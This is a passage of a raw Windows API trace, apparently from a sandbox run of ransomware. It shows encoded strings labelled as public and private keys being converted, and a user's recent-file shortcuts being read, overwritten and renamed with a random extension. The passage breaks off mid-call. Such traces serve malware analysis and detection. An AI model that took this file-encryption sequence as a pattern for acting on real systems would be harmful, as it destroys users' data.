4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0082.721] GetCurrentThreadId () returned 0xa30 [0082.721] GetCurrentThreadId () returned 0xa30 [0082.721] GetCurrentThreadId () returned 0xa30 [0082.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.722] GetCurrentThreadId () returned 0xa30 [0082.722] GetCurrentThreadId () returned 0xa30 [0082.722] GetCurrentThreadId () returned 0xa30 [0082.722] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oXu8xlNDfHLVRyrz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\oxu8xlndfhlvryrz.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.722] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.723] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.723] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xec3 [0082.723] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.723] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xec3, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xec3, lpOverlapped=0x0) returned 1 [0082.724] CloseHandle (hObject=0x124) returned 1 [0082.725] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oXu8xlNDfHLVRyrz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\oxu8xlndfhlvryrz.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.726] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xec3, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xec3, lpOverlapped=0x0) returned 1 [0082.728] CloseHandle (hObject=0x124) returned 1 [0082.729] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oXu8xlNDfHLVRyrz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\oxu8xlndfhlvryrz.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oXu8xlNDfHLVRyrz.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\oxu8xlndfhlvryrz.lnk.zv7un")) returned 1 [0082.731] GetCurrentThreadId () returned 0xa30 [0082.731] GetCurrentThreadId () returned 0xa30 [0082.731] GetCurrentThreadId () returned 0xa30 [0082.731] GetCurrentThreadId () returned 0xa30 [0082.731] GetCurrentThreadId () returned 0xa30 [0082.731] GetCurrentThreadId () returned 0xa30 [0082.731] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf858e40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf858e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf858e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa79, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="p0SinzaP1mEbUlrC.lnk", cAlternateFileName="P0SINZ~1.LNK")) returned 1 [0082.731] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.731] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.731] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\p0SinzaP1mEbUlrC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p0sinzap1mebulrc.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf858e40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf858e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf858e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa79)) returned 1 [0082.732] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\p0SinzaP1mEbUlrC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p0sinzap1mebulrc.lnk")) returned 0x20 [0082.732] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\p0SinzaP1mEbUlrC.lnk", dwFileAttributes=0x80) returned 1 [0082.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.736] GetCurrentThreadId () returned 0xa30 [0082.736] GetCurrentThreadId () returned 0xa30 [0082.736] GetCurrentThreadId () returned 0xa30 [0082.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 